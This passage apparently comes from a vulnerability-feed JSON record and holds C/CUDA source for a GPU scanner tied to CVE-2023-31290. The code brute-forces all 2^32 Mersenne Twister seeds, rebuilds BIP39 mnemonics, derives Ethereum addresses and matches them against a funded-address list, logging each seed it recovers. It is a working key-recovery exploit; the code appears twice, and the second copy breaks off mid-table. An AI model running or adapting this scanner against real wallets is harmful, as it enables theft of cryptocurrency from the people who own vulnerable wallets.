{'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:58:53.175642Z"}, {"uuid": "cd76a60f-98d9-4aeb-95c6-4b0f1850977a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    